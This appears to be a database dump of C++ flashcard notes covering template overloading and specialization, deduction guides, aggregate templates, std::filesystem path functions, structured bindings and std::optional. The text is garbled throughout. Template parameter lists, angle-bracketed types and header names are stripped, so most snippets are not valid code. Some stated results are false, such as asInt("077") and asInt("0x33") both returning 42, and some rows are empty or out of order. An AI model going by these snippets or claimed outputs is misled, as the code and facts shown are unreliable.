2024-07-28 10:02:04.124656 0 +2336 541 max<>(7, 42); // calls max by argument deduction code txt 2024-07-28 10:02:04.146636 0 +2337 541 Becuase automatic type conversino is not considered for deduced template\nparameters but is considered for ordinary funcction parameters, the last call\nuses the nontemplate function. text txt 2024-07-28 10:02:04.167506 0 +2338 541 max(7, 42); // calls max no argument deduction\n::max('a', 42.7); // calls the nontemplate for two ints code txt 2024-07-28 10:02:04.189176 0 +2339 542 When two function templates match, the overload resolution process normally\nto process normally to prefer none and result in an ambiguity error. text txt 2024-07-28 10:02:04.630123 0 +2340 542 template\nauto max(T1 a, T2 b); text txt 2024-07-28 10:02:04.650441 0 +2341 542 template\nRT max(T1 a, T2 b); text txt 2024-07-28 10:02:04.671786 0 +2342 542 max(4, 7.2); // calls first overload\n::max(4, 7.2); // calls second overload\n::max(4, 7.2); // ERROR: both function templates match code txt 2024-07-28 10:02:04.692763 0 +2343 543 A useful example would be to overload the maximum template for pointers and\nordinary C-strings. text txt 2024-07-28 10:02:05.533302 0 +2344 543 #include \n#include text txt 2024-07-28 10:02:05.555153 0 +2345 543 template\nT max(T a, T b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:02:05.575308 0 +2346 543 template\nT* max(T* a, T* b)\n{\n return *b < *a ? a : b;\n} text txt 2024-07-28 10:02:05.596933 0 +2347 543 char const* max(char const* a, char const* b)\n{\n return std::strcmp(b, a) < 0 ? a : b;\n} text txt 2024-07-28 10:02:05.617844 0 +2348 543 int i{7}, j{42};\nint *p1 = &i, *p2 = &j; text txt 2024-07-28 10:02:05.638804 0 +2349 543 max(i, j); // calls max() for two int\n::max(std::string{"mathematics"}, std::string{"math"}); // calls max() for std::string\n::max(p1, p2); // calls max() for two pointers\n::max("mathematics", "math"); // calls max() for two C-strings code txt 2024-07-28 10:02:05.659667 0 +2402 552 The following class template can be specialized in following ways: text txt 2024-07-28 10:02:13.55127 0 +2350 544 In general, it is a good idea not to change more than necessary when\noverloading function templates. You should limit your changes to the number\nof parameters or to specifying template parameters explicitly. Otherwise,\nunexpected effects may happen. text txt 2024-07-28 10:02:06.880245 0 +2351 544 For example, if you implement your `max()` template to pass the arguments by\nreference and overload it for two C-strings passed by value, you can’t use\nthe three-argument version to compute the maximum of three C-strings: text txt 2024-07-28 10:02:06.901755 0 +2352 544 #include text txt 2024-07-28 10:02:06.922993 0 +2353 544 template\nT const& max(T const& a, T const& b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:02:06.944147 0 +2354 544 char const* max(char const* a, char const* b)\n{\n return std::strcmp(b, a) < 0 ? a : b;\n} text txt 2024-07-28 10:02:06.9652 0 +2355 544 template\nT const& max(T const& a, T const& b, T const& c)\n{\n return max(max(a, b), c); // error if max(a,b) uses call-by-value\n} text txt 2024-07-28 10:02:06.985712 0 +2356 544 max(7, 42, 68); // OK text txt 2024-07-28 10:02:07.006147 0 +2357 544 char const* s1 = "A";\nchar const* s2 = "B";\nchar const* s3 = "C";\n::max(s1, s2, s3); // runtime error code txt 2024-07-28 10:02:07.026455 0 +2358 544 The problem is that if you call `max()` for three C-strings, the statement: text txt 2024-07-28 10:02:07.047407 0 +2359 544 return max (max(a,b), c); code txt 2024-07-28 10:02:07.069129 0 +2360 544 becomes a run-time error because for C-strings, `max(a,b)` creates a new,\ntemporary local value that is returned by reference, but that temporary value\nexpires as soon as the return statement is complete, leaving `main()` with a\ndangling reference. text txt 2024-07-28 10:02:07.090503 0 +2361 544 Unfortunately, the error is quite subtle and may not manifest itself in all\ncases. In general, a conforming compiler isn’t even permitted to reject this\ncode. text txt 2024-07-28 10:02:07.111945 0 +2362 545 Ensure that all overloaded versions of a function are declared before the\nfunction is called. This is because the fact that not all overloaded\nfunctions are visible when a corresponding function call is made may matter. text txt 2024-07-28 10:02:07.790639 0 +2363 545 template\nT max (T a, T b)\n{\n return b < a ? a : b;\n} text txt 2024-07-28 10:02:07.811768 0 +2364 545 template\nT max (T a, T b, T c)\n{\n return max (max(a,b), c);\n // calls template max not overload\n} text txt 2024-07-28 10:02:07.833505 0 +2365 545 // declaration comes too late\nint max (int a, int b)\n{\n std::cout << "max(int,int) \\\\n";\n return b < a ? a : b;\n} code txt 2024-07-28 10:02:07.853948 0 +2366 546 Before the declaration, you have to declare one or multiple identifiers as a\ntype parameters. text txt 2024-07-28 10:02:08.509087 0 +2367 546 Inside the class template, template parameters can be used just like any\nother type to declare members and member functions. text txt 2024-07-28 10:02:08.530885 0 +2368 546 template\nclass Stack\n{\nprivate:\n std::vector data; text txt 2024-07-28 10:02:08.552884 0 +2369 546 public:\n void push(T const&);\n void pop() const;\n T const& top() const;\n bool empty() const;\n}; code txt 2024-07-28 10:02:08.573928 0 +2370 546 The keyword `class` can be used instead of `typename`. text txt 2024-07-28 10:02:08.594444 0 +2371 547 Template parameters can be omited when declaring copy constructor and copy\nassignment operator. text txt 2024-07-28 10:02:09.311863 0 +2372 547 template\nclass Stack\n{\npublic:\n Stack(Stack const&);\n Stack& operator=(Stack const&);\n}; code txt 2024-07-28 10:02:09.33336 0 +2373 547 But it is formally equivalent to specify template parameters: text txt 2024-07-28 10:02:09.354751 0 +2374 547 template\nclass Stack\n{\npublic:\n Stack(Stack const&);\n Stack& operator=(Stack const&);\n}; code txt 2024-07-28 10:02:09.375371 0 +2375 547 But usually the `` signals special handling of special template\nparameters, so it’s usually better to use the first form. However, outside\nthe class structure you'd need to specify it. text txt 2024-07-28 10:02:09.396445 0 +2376 548 To define a member function of a class template, you have to specify that it\nis a template, and you have to use the full type qualification of the class\ntemplate. text txt 2024-07-28 10:02:09.887336 0 +2377 548 template\nclass Stack\n{\n void push(T const&);\n void pop();\n}; text txt 2024-07-28 10:02:09.907654 0 +2378 548 template\nvoid Stack::push(T const&) { } text txt 2024-07-28 10:02:09.927688 0 +2379 548 template\nvoid Stack::pop() { } code txt 2024-07-28 10:02:09.947622 0 +2380 549 To declare a friend function and define it afterwards, we have two options: text txt 2024-07-28 10:02:10.878491 0 +2381 549 1. We can implicitly declare a new function template, which must use a\n different template parameter, such as U: text txt 2024-07-28 10:02:10.899357 0 +2382 549 template\nclass Stack\n{\npublic:\n Stack(Stack const&); text txt 2024-07-28 10:02:10.919714 0 +2383 549 template\n friend std::ostream& operator<<(std::ostream&, Stack const&);\n}; code txt 2024-07-28 10:02:10.940397 0 +2384 549 We forward declare the output operator for a class to be a template, which,\nhowever, means that we first have to forward declare the class too: text txt 2024-07-28 10:02:10.961016 0 +2385 549 template\nclass Stack; text txt 2024-07-28 10:02:10.980619 0 +2386 549 template\nstd::ostream& operator<<(std::ostream&, Stack const&); text txt 2024-07-28 10:02:11.001361 0 +2387 549 template\nclass Stack\n{\npublic:\n Stack(Stack const&); text txt 2024-07-28 10:02:11.021529 0 +2388 549 friend std::ostream& operator<<(std::ostream&, Stack const&);\n}; code txt 2024-07-28 10:02:11.042295 0 +2389 549 Note the `` behind the function name `operator<<`. Thus, we declare a\nspecialization of the nonmember function template as friend. Without `` we\nwould declare a new nontemplate function. text txt 2024-07-28 10:02:11.065037 0 +2390 550 To specialize a class template, you have to declare the class with a leading\n`template<>` and a specialization of the types for which the class template\nis specialized. The types are used as a template argument and must be\nspecified directly forwarding the name of the class: text txt 2024-07-28 10:02:11.730474 0 +2391 550 template\nclass Stack\n{\n void push(T const&);\n}; text txt 2024-07-28 10:02:11.751493 0 +2392 550 template\nvoid Stack::push(T const&) { } text txt 2024-07-28 10:02:11.77152 0 +2393 550 template<>\nStack\n{\n void push(std::string const&);\n}; text txt 2024-07-28 10:02:11.792501 0 +2394 550 void Stack::push(std::string const&) { } code txt 2024-07-28 10:02:11.813585 0 +2395 551 You can provide special implementation for particular circumstances, but some\ntemplate parameters must still be defined by the user. text txt 2024-07-28 10:02:12.487212 0 +2396 551 template\nclass Stack\n{\n void push(T const&);\n}; text txt 2024-07-28 10:02:12.50873 0 +2397 551 template\nvoid Stack push(T const&) { } text txt 2024-07-28 10:02:12.528523 0 +2398 551 template\nclass Stack\n{\n void push(T*);\n}; text txt 2024-07-28 10:02:12.549785 0 +2399 551 template\nvoid Stack::push(T*) { } code txt 2024-07-28 10:02:12.569613 0 +2400 551 With partial specialization, we define a class template, still parametrized\nfor `T` but specialized for a pointer (`Stack`). text txt 2024-07-28 10:02:12.590888 0 +2405 552 template\nclass Stack; code txt 2024-07-28 10:02:13.612521 0 +2406 552 The following examples show which template is used by which declaration: text txt 2024-07-28 10:02:13.632923 0 +2407 552 Stack{}; // Stack\nStack{}; // Stack\nStack{}; // Stack\nStack{}; // Stack code txt 2024-07-28 10:02:13.653328 0 +2408 552 If more than one partial specialization matches equally well, the declaration is ambiguous: text txt 2024-07-28 10:02:13.672312 0 +2409 552 Stack{}; // ERROR: matches Stack and Stack\nStack{}; // ERROR: matches Stack and Stack code txt 2024-07-28 10:02:13.692685 0 +2410 552 To resolve the second ambiguity, you could provide an additional partial specialization for pointers of the same type: text txt 2024-07-28 10:02:13.713213 0 +2411 552 template\nclass Stack; code txt 2024-07-28 10:02:13.73476 0 +2412 553 template>\nclass Stack\n{\nprivate:\n C container; text txt 2024-07-28 10:02:14.769778 0 +2413 553 public:\n void push(T const&);\n void pop();\n T const& top() const;\n bool empty() const;\n}; text txt 2024-07-28 10:02:14.7896 0 +2414 553 template\nvoid Stack::push(T const& value)\n{\n container.push_back(value);\n} text txt 2024-07-28 10:02:14.810673 0 +2415 553 template\nvoid Stack::pop()\n{\n container.pop_back();\n} text txt 2024-07-28 10:02:14.831599 0 +2416 553 template\nT const& Stack::top() const\n{\n if (container.empty()) throw std::exception{"empty container"};\n return container.back();\n} text txt 2024-07-28 10:02:14.853444 0 +2417 553 template\nbool Stack::empty() const\n{\n return container.empty();\n} code txt 2024-07-28 10:02:14.874374 0 +2418 554 Unlike a `typedef`, an alias declaration can be templated to provide a\nconvenient name for a family of types. This is also available since C++11 and\nis called an alias template. text txt 2024-07-28 10:02:15.218884 0 +2419 554 template\nusing matrix = std::vector>; code txt 2024-07-28 10:02:15.239709 0 +2420 555 Alias templates are especially helpful to define shortcuts for types that are\nmembers of class templates. text txt 2024-07-28 10:02:15.81051 0 +2421 555 struct Matrix\n{\n using iterator = ...;\n}; text txt 2024-07-28 10:02:15.831365 0 +2422 555 template\nusing MatrixIterator = typename Matrix::iterator; code txt 2024-07-28 10:02:15.851734 0 +2423 555 The `typename` is necessary here because the member is a type. text txt 2024-07-28 10:02:15.873003 0 +2424 555 Since C++14, the standard library uses this technique to define shortcuts for\nall type traits in the standard library that yield a type: text txt 2024-07-28 10:02:15.894241 0 +2425 555 std::add_const_t // C++14 abbreviate equivalent to std::add_const::type available since C++11\nstd::enable_if_v // C++14 abbreviate equivalent to std::enable_if::value available since C++11 code txt 2024-07-28 10:02:15.914844 0 +2426 556 Since C++17, the constraint that you always have to specify the template\narguments explicitly was relaxed. text txt 2024-07-28 10:02:16.24294 0 +2427 556 Stack IntStack;\nStack AnotherStack = IntStack; // OK in all standard versions\nStack IntegralStack = AnotherStack; // OK since C++17 code txt 2024-07-28 10:02:16.264995 0 +2428 557 By providing constructors that pass some initial arguments, you can support\ndeduction of the type used in a class. text txt 2024-07-28 10:02:16.727925 0 +2429 557 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 10:02:16.750354 0 +2430 557 public:\n Stack() = default;\n Stack(T const& value): container({value}) { }\n}; code txt 2024-07-28 10:02:16.77023 0 +2431 558 1. You have to request the default constructor to be available with its\n default behavior, because the default constructor is available only if no\n other constructor is defined: text txt 2024-07-28 10:02:17.619839 0 +2432 558 template\nclass Stack\n{\npublic:\n Stack() = default;\n}; code txt 2024-07-28 10:02:17.640291 0 +2433 558 2. The initial argument is passed with braces around to initialize the\n internal container with an initializer list that argument as the only\n argument: text txt 2024-07-28 10:02:17.660982 0 +2434 558 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 10:02:17.681433 0 +2435 558 public:\n Stack() = default;\n Stack(T const& value): container({value}) { }\n}; code txt 2024-07-28 10:02:17.702575 0 +2436 558 This is because there is no constructor for a vector that is able to take a\nsingle parameter as initial element directly. Even worse, there is a vector\nconstructor taking one integral argument as initial size, so that for a stack\nwith the initial value 5, the vector would get an initial size of five\nelements when `container(value)` is used. text txt 2024-07-28 10:02:17.722896 0 +2437 559 When passing arguments of a template type `T` by reference, the parameter\ndoes not decay, which is the term for the mechanism to convert a raw array\ntype to the corresponding raw pointer typel. text txt 2024-07-28 10:02:18.53955 0 +2438 559 Stack StringStack = "surprise!"; // Stack deduced since C++17 code txt 2024-07-28 10:02:18.561153 0 +2439 559 However, when passing arguments of a template type T by value, the parameter\ndecays, which is the term for the mechansim to convert a raw array type to\nthe corresponding raw pointer type. text txt 2024-07-28 10:02:18.583354 0 +2440 559 template\nclass Stack\n{\nprivate:\n std::vector container; text txt 2024-07-28 10:02:18.6036 0 +2441 559 public:\n Stack(T value): container({std::move(value)}) { }\n // initialize stack with one element by value to decay on class template argument deduction\n}; code txt 2024-07-28 10:02:18.624547 0 +2442 559 With this, the following initialization works fine: text txt 2024-07-28 10:02:18.645472 0 +2443 559 Stack StringStack = "surprise!"; // Stack deduced since C++17 code txt 2024-07-28 10:02:18.665568 0 +2444 559 In this case, don't forget to use move semantics to avoid unnecessary copy of\nthe argument. text txt 2024-07-28 10:02:18.685551 0 +2445 560 Because handling raw pointers in containers is a source of trouble, we should\ndisable automatically deducing raw character pointers for container classes. text txt 2024-07-28 10:02:19.173695 0 +2446 560 You can define specific **deduction guides** to provide additional or fix\nexisting class template argument deductions. text txt 2024-07-28 10:02:19.194172 0 +2447 560 Stack(const char*) -> Stack; code txt 2024-07-28 10:02:19.214016 0 +2448 560 This guide has to appear in the same scope as the class definition. text txt 2024-07-28 10:02:19.234676 0 +2449 560 We call the `->` the *guided type* of the deduction guide. text txt 2024-07-28 10:02:19.255417 0 +2450 560 Stack StringStack{"no surprises now!"}; // Stack code txt 2024-07-28 10:02:19.276179 0 +2451 561 The declaration of a `Stack{"no surprise!"}` deduces as `Stack` using the deduction guide: text txt 2024-07-28 10:02:19.721522 0 +2452 561 Stack(char const*) -> Stack; code txt 2024-07-28 10:02:19.74308 0 +2453 561 However, the following still doesn't work: text txt 2024-07-28 10:02:19.765747 0 +2592 605 std::filesystem::path p{"/etc/os-release"}; text txt 2024-07-28 10:02:43.032241 0 +2454 561 Stack StringStack = "surprise again!"; // ERROR: Stack deduced, but still not valid code txt 2024-07-28 10:02:19.786571 0 +2455 561 By language rules, you can't copy initialize an object by passing a string\nliteral to a constructor expecting a `std::string`. So you have to initialize\nthe object with brace initialization. text txt 2024-07-28 10:02:19.807344 0 +2456 562 Aggregate classes; classes or structs with no user-provided, explicit, or\ninherited constructor, no private or protected nonstatic data members, no\nvirtual functions, and no virtual, private, or protected base classes; can\nalso be templates. text txt 2024-07-28 10:02:20.508243 0 +2457 562 template\nstruct ValueWithComment\n{\n T value;\n std::string comment;\n}; code txt 2024-07-28 10:02:20.528884 0 +2458 562 Since C++17, you can even define deduction guides for aggregate class templates: text txt 2024-07-28 10:02:20.549225 0 +2459 562 ValueWithComment(char const*, char const*) -> ValueWithComment; text txt 2024-07-28 10:02:20.57021 0 +2460 562 ValueWithComment vc = {"secret", "my secret message"}; // ValueWithComment deduced code txt 2024-07-28 10:02:20.590642 0 +2461 562 Without the deduction guide, the initialization would not be possible,\nbecause the aggregate class has no constructor to perform the deduction\nagainst. text txt 2024-07-28 10:02:20.611707 0 +2462 562 The standard library class `std::array<>` is also an aggregate, parametrized\nfor both the element type and the size. The C++17 standard library also\ndefines a deduction guide for it. text txt 2024-07-28 10:02:20.633851 0 +2463 563 You can implement data structures by using a fixed-size array for the\nelements. An advantage of this method is that the memory management overhead,\nwhether performed by you or by a standard container, is avoided. However,\ndetermining the best size is better be specified by users. text txt 2024-07-28 10:02:21.273329 0 +2464 563 template\nclass Stack\n{\nprivate:\n std::array container;\n std::size_t elements; text txt 2024-07-28 10:02:21.295094 0 +2465 563 public:\n void push(T const&);\n void pop();\n T const& top() const;\n bool empty() const;\n std::size_t size() const;\n}; code txt 2024-07-28 10:02:21.31606 0 +2466 564 namespace custom\n{\n template\n stack\n {\n std::size_t elements;\n std::array container;\n };\n} text txt 2024-07-28 10:02:21.799101 0 +2467 564 custom::stack buffer{}; code txt 2024-07-28 10:02:21.820195 0 +2468 565 Each template instantiation is its own type. text txt 2024-07-28 10:02:22.273141 0 +2469 565 template\nclass stack; text txt 2024-07-28 10:02:22.293233 0 +2470 565 stack small_stack;\nstack big_stack; code txt 2024-07-28 10:02:22.315258 0 +2471 565 The two are different types and no implicit or explicit type conversion\nbetween them is defined. text txt 2024-07-28 10:02:22.335268 0 +2472 566 template\nclass stack; code txt 2024-07-28 10:02:22.692702 0 +2473 566 From a perspective of good design, this is not appropriate in many examples.\nIt is better when the programmer has to specify values explicitly. text txt 2024-07-28 10:02:22.714601 0 +2474 567 #include text txt 2024-07-28 10:02:23.792151 0 +2475 567 int main()\n{\n try\n {\n std::filesystem::path version_path{"/usr/src/linux/version"}; // throws std::bad_alloc text txt 2024-07-28 10:02:23.812349 0 +2476 567 if (std::filesystem::exists(version_path)) // throws std::system_error\n {\n // ...\n }\n }\n catch (std::system_error const& exp)\n {\n std::cerr << "file operation error: " << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << "path could not be allocated: " << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:23.834642 0 +2477 568 #include \n#include text txt 2024-07-28 10:02:24.327203 0 +2478 568 int main()\n{\n try\n {\n std::filesystem::path working_directory{std::filesystem::current_path()};\n std::cout << working_directory << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:24.348646 0 +2479 569 `std::filesystem::canonical()` throws a `std::filesystem_error` type\nexception if the path we want to canonicalize does not exist. text txt 2024-07-28 10:02:25.094286 0 +2480 569 #include \n#include \n#include text txt 2024-07-28 10:02:25.114721 0 +2481 569 int main()\n{\n try\n {\n std::filesystem::path relative_path{"/usr/././lib/../include"};\n std::filesystem::path canonical_path{std::filesystem::canonical(relative_path)};\n std::cout << canonical_path << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:25.136535 0 +2482 570 `std::filesystem::canonical()` accepts a path as an optional second argument. text txt 2024-07-28 10:02:25.99131 0 +2483 570 path canonical(path const& p, path const& base = current_path()); code txt 2024-07-28 10:02:26.012124 0 +2484 570 The second path `base` is prepended to path `p` if `p` is a relative path. text txt 2024-07-28 10:02:26.033731 0 +2485 570 #include \n#include \n#include text txt 2024-07-28 10:02:26.053977 0 +2486 570 int main()\n{\n try\n {\n std::filesystem::path relative_path{"./lib/../include"};\n std::filesystem::path base_path{"/usr"};\n std::filesystem::path canonical_path{std::filesystem::canonical(relative_path, base_path)};\n std::cout << canonical_path << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:26.076506 0 +2487 571 `std::filesystem::canonical()` does what `std::filesystem::absolute()` does,\nbut canonical additionally removes any "." or ".." paths. text txt 2024-07-28 10:02:26.797566 0 +2488 571 `std::filesystem::absolute()` does not call system calls. text txt 2024-07-28 10:02:26.81958 0 +2489 571 #include \n#include text txt 2024-07-28 10:02:26.841494 0 +2490 571 int main()\n{\n try\n {\n std::filesystem::path relative_path{"./.local/bin"};\n auto absolute_path{std::filesystem::absolute(relative_path)}; text txt 2024-07-28 10:02:26.86187 0 +2491 571 std::cout << absolute_path << std::endl;\n }\n catch (std::filesystem::filesystem_error const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n catch (std::bad_alloc const& exp)\n {\n std::cerr << exp.what() << std::endl;\n }\n} code txt 2024-07-28 10:02:26.884316 0 +2492 572 `std::filesystem::path` overloads `operator/` and `operator+` for path\nconcatenation, but `operator/` uses path separators between junctions and\n`operator+` only acts as string concatanation. text txt 2024-07-28 10:02:27.300605 0 +2493 572 #include text txt 2024-07-28 10:02:27.322108 0 +2494 572 std::filesystem::path parent{"/usr/bin"};\nstd::filesystem::path executable{"bash"};\nstd::filesystem::path shell{parent + executable}; // /usr/binbash\nstd::filesystem::path shell{parent / executable}; // /usr/bin/bash code txt 2024-07-28 10:02:27.34387 0 +2495 573 `std::filesystem::equivalent()` canonicalizes the paths, which it accepts as\narguments and returns true if they describe the same path after all. text txt 2024-07-28 10:02:27.880521 0 +2496 573 Both operands need to exist before call to this free-standing function. It\nwill throw `std::filesystem::system_error` otherwise. text txt 2024-07-28 10:02:27.900313 0 +2497 573 #include \n#include text txt 2024-07-28 10:02:27.92106 0 +2498 573 int main()\n{\n std::filesystem::path p1{"/lib/modules"};\n std::filesystem::path p2{"/usr/lib/modules"};\n std::cout << std::boolalpha << std::filesystem::equivalent(p1, p2) << std::endl;\n // true\n} code txt 2024-07-28 10:02:27.942543 0 +2499 574 #include text txt 2024-07-28 10:02:28.371727 0 +2500 574 std::filesystem::is_directory("/usr/bin"); // true\nstd::filesystem::is_regular_file("/usr/bin/bash"); // true\nstd::filesystem::is_symlink("/lib"); // true\nstd::filesystem::is_character_file("/dev/random"); // true\nstd::filesystem::is_block_file("/dev/sda"); // true\nstd::filesystem::is_fifo("/dev/null"); // false\nstd::filesystem::is_socket("/dev/null"); // false\nstd::filesystem::other("/dev/null"); // false code txt 2024-07-28 10:02:28.394042 0 +2501 575 #include text txt 2024-07-28 10:02:28.881441 0 +2502 575 std::filesystem::path executables_path{"/usr/local/bin"};\nstd::filesystem::file_status executables_status{std::filesystem::file_status(executables_path)}; text txt 2024-07-28 10:02:28.903436 0 +2503 575 std::filesystem::is_directory(executables_status);\nstd::filesystem::is_regular_file(executables_status);\nstd::filesystem::is_symlink(executables_status);\nstd::filesystem::is_character_file(executables_status);\nstd::filesystem::is_block_file(executables_status);\nstd::filesystem::is_fifo(executables_status);\nstd::filesystem::is_socket(executables_status);\nstd::filesystem::other(executables_status); code txt 2024-07-28 10:02:28.925178 0 +2504 576 #include \n#include \n#include text txt 2024-07-28 10:02:29.505326 0 +2505 576 int main()\n{\n std::filesystem::perms perms = std::filesystem::status("/dev/null").permissions(); text txt 2024-07-28 10:02:29.525388 0 +2506 576 std::cout << ((perms & std::filesystem::perms::owner_read) == std::filesystem::perms::none ? '-' : 'r');\n std::cout << ((perms & std::filesystem::perms::owner_write) == std::filesystem::perms::none ? '-' : 'w');\n std::cout << ((perms & std::filesystem::perms::owner_exec) == std::filesystem::perms::none ? '-' : 'x');\n std::cout << ((perms & std::filesystem::perms::group_read) == std::filesystem::perms::none ? '-' : 'r');\n std::cout << ((perms & std::filesystem::perms::group_write) == std::filesystem::perms::none ? '-' : 'w');\n std::cout << ((perms & std::filesystem::perms::group_exec) == std::filesystem::perms::none ? '-' : 'x');\n std::cout << ((perms & std::filesystem::perms::others_read) == std::filesystem::perms::none ? '-' : 'r');\n std::cout << ((perms & std::filesystem::perms::others_write) == std::filesystem::perms::none ? '-' : 'w');\n std::cout << ((perms & std::filesystem::perms::others_exec) == std::filesystem::perms::none ? '-' : 'x');\n} code txt 2024-07-28 10:02:29.54914 0 +2507 577 #include text txt 2024-07-28 10:02:29.826116 0 +2508 577 std::filesystem::path file_path{"/usr/bin/g++"};\nstd::size_t size = std::filesystem::file_size(file_path); code txt 2024-07-28 10:02:29.8474 0 +2509 578 #include \n#include \n#include \n#include text txt 2024-07-28 10:02:30.255299 0 +2510 578 std::vector entries;\nstd::filesystem::path directory_path{"/usr/bin"};\nstd::filesystem::directory_iterator entry_iterator{std::filesystem::directory_iterator{directory_path}};\nstd::copy(entry_iterator, std::back_inserter(entries)); code txt 2024-07-28 10:02:30.276782 0 +2511 579 #include \n#include text txt 2024-07-28 10:02:30.836333 0 +2512 579 int main()\n{\n std::map letters;\n letters.insert({0, "first"});\n letters.insert({1, "second"});\n letters.insert({2, "third"}); text txt 2024-07-28 10:02:30.857979 0 +2513 579 for (const auto& [index, letter]: letters)\n std::cout << index << ": " << letter << "\\\\n";\n} code txt 2024-07-28 10:02:30.87911 0 +2514 580 struct some_data\n{\n int age;\n char const* name;\n}; text txt 2024-07-28 10:02:31.449267 0 +2515 580 int main()\n{\n some_data personal_data{27, "Brian"}; text txt 2024-07-28 10:02:31.469675 0 +2516 580 auto const& [a1, n1] = personal_data; // const reference\n auto const [a2, n2] = personal_data; // const\n auto& [a3, n3] = personal_data; // non-const reference\n auto [a4, n4] = personal_data; // copy\n} code txt 2024-07-28 10:02:31.491138 0 +2517 581 #include text txt 2024-07-28 10:02:32.076427 0 +2518 581 struct some_data\n{\n std::string text;\n}; text txt 2024-07-28 10:02:32.097628 0 +2519 581 int main()\n{\n some_data data{"long text"}; text txt 2024-07-28 10:02:32.118308 0 +2520 581 // entity is rvalue reference to data.text\n auto&& [rv_text] = std::move(data); text txt 2024-07-28 10:02:32.138892 0 +2521 581 // new entity stole the membership of value from data.text\n std::string text = std::move(rv_text); text txt 2024-07-28 10:02:32.159937 0 +2522 581 // rv_text and data.text no longer hold values\n} code txt 2024-07-28 10:02:32.180677 0 +2523 582 * All non-static data members must be members of the same class definition. text txt 2024-07-28 10:02:32.836934 0 +2524 582 struct A\n{\n int a = 1;\n int b = 2;\n}; text txt 2024-07-28 10:02:32.857704 0 +2525 582 struct B : A\n{\n}; text txt 2024-07-28 10:02:32.879216 0 +2526 582 struct C : A\n{\n int c = 3;\n}; text txt 2024-07-28 10:02:32.900323 0 +2527 582 int main()\n{\n auto [x, y] = B{};\n auto [i, j, k] = C{}; // ERROR\n} code txt 2024-07-28 10:02:32.921582 0 +2528 583 * For an array passed as argument, this is not possible because it decays to the corresponding pointer type. text txt 2024-07-28 10:02:33.243926 0 +2529 583 int main()\n{\n int array[] = {1,2,3};\n auto [i, j, k] = array;\n} code txt 2024-07-28 10:02:33.26702 0 +2530 584 #include \n#include \n#include \n#include text txt 2024-07-28 10:02:33.806936 0 +2531 584 int main()\n{\n std::array coordinates{1,0,1};\n auto [x, y, z] = coordinates; text txt 2024-07-28 10:02:33.827281 0 +2532 584 std::pair letter{1, "some text"};\n auto& [index, text] = letter; text txt 2024-07-28 10:02:33.847594 0 +2533 584 std::tuple book{9783967300178, "C++17: The Complete Guide"};\n auto const& [isbn, title] = book;\n} code txt 2024-07-28 10:02:33.868945 0 +2534 585 code txt 2024-07-28 10:02:34.064636 0 +2535 586 code txt 2024-07-28 10:02:34.341718 0 +2536 587 `std::optional<>` model a nullable instance of an arbitrary type. text txt 2024-07-28 10:02:34.717235 0 +2537 587 #include text txt 2024-07-28 10:02:34.737468 0 +2538 587 std::optional oi{42};\nint i{*oi}; // 42 code txt 2024-07-28 10:02:34.757614 0 +2539 588 #include \n#include text txt 2024-07-28 10:02:35.378827 0 +2540 588 std::optional asInt(const std::string_view s)\n{\n try\n {\n return std::stoi(s);\n }\n catch (...)\n {\n return std::nullopt;\n }\n} text txt 2024-07-28 10:02:35.400704 0 +2541 588 asInt("42"); // std::optional(42)\nasInt("077"); // std::optional(42)\nasInt("forty two"); // std::nullopt\nasInt("0x33"); // std::optional(42) code txt 2024-07-28 10:02:35.421836 0 +2542 589 It consists of an optional *root name*, an optional *root directory*, and a\nsequence of filenames separated by *directory separators*. text txt 2024-07-28 10:02:35.78677 0 +2543 589 ```\n[root name] [root directory] [filenames]\n/home/brian/\nC:\\\\Windows\\\\Users\\\\Brian\\\\Desktop\n`````` text txt 2024-07-28 10:02:35.807365 0 +2544 590 The path can be **relative**, so that the file location depends on the current directory, or **absolute**. text txt 2024-07-28 10:02:36.299938 0 +2545 590 Two formats are possible for path objects: text txt 2024-07-28 10:02:36.321196 0 +2546 590 - A generic format, which is portable.\n- A native format, which is specific to the underlying file system. text txt 2024-07-28 10:02:36.342723 0 +2547 590 On POSIX compliant operating systems there is not difference between the\ngeneric and the native format. On Windows the generic format `/tmp/note.txt`\nis a valid native format besides `\\\\tmp\\\\note.txt` which is also supported are\ntwo native versions of the same path. text txt 2024-07-28 10:02:36.363681 0 +2548 590 The generic path format is as follows: text txt 2024-07-28 10:02:36.383569 0 +2549 590 `[root name] [root directory] [relative path]` text txt 2024-07-28 10:02:36.404491 0 +2550 590 - The optional root name is implementation specific (e.g. `//host` on POSIX systems, `C:` on WIndows systems)\n- The optional root root directory is a directory separator\n- The relative path is a sequence of file names separated by directory separators text txt 2024-07-28 10:02:36.425827 0 +2551 591 In a normalized path: text txt 2024-07-28 10:02:36.718256 0 +2552 591 - Filenames are separated only by a single preferred directory separator.\n- The filename `.` is not used unless the whole path is nothing but `.`.\n- The filename does not contain `..` filenames unless they are at the\n beginning of a relative path.\n- The path only ends with a directory separator if the trailing filename is a\n directory with a name other than `.` or `..`. text txt 2024-07-28 10:02:36.73909 0 +2553 592 The filesystem library provides several functions, which can be both member\nand free-standing functions. **Member** functions are cheap because they are\npure lexical operations that do not take the actual filesystem into account,\nso that no operating system calls are necessary, e.g. `mypath.is_absolute()`.\n**Free-standing** functions on the other hand are expensive, because they\nusually take the actual filesystem into account, e.g. `equivalent(path1,\npath2)`. Sometimes, the filesystem library provides the same functionality\noperating both lexically and by the actual filesystem into account, e.g.\n`path1.lexically_relative(path2)`. text txt 2024-07-28 10:02:37.34501 0 +2554 592 Because of **Argument Dependent Lookup (ADL)** usually we don't have to\nspecify the full namespace `std::filesystem` when calling free-standing\nfilesystem functions. text txt 2024-07-28 10:02:37.365103 0 +2555 592 